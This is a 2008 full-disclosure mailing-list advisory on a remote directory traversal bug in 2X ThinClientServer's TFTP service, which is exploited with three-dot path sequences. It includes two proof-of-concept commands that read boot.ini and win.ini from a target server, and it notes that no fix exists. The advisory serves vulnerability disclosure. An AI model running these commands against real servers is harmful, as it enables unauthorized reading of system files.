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List:       full-disclosure
Subject:    [Full-disclosure] Directory traversal in 2X ThinClientServer
From:       Luigi Auriemma <aluigi () autistici ! org>
Date:       2008-03-31 19:48:47
Message-ID: 20080331214847.f8fdc081.aluigi () autistici ! org
[Download RAW message or body]


#######################################################################

                             Luigi Auriemma

Application:  2X ThinClientServer
              http://www.2x.com/thinclientserver/
Versions:     <= v5.0_sp1-r3497
              (TFTPd.exe <= 3.2.0.0)
Platforms:    Windows
Bug:          directory traversal
Exploitation: remote
Date:         29 Mar 2008
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


>From the manual:
"2X ThinClientServer allows you to deploy a thin client OS to low-cost
thin client devices and existing PCs, and centrally manage settings and
configure to which terminal servers (Windows or Linux) a user should
log on to."


#######################################################################

======
2) Bug
======


The 2X TFTP Service enabled by default in ThinClientServer is affected
by a directory traversal vulnerability exploitable through the usage of
a sequence of 3 dots (instead of the classical two) for reaching the
various parent directories.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/tftpx.zip

  tftpx SERVER .../.../.../.../.../.../boot.ini none
  tftpx SERVER ...\...\...\...\...\...\windows\win.ini none


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======
4) Fix
======


No fix


#######################################################################


--- 
Luigi Auriemma
http://aluigi.org

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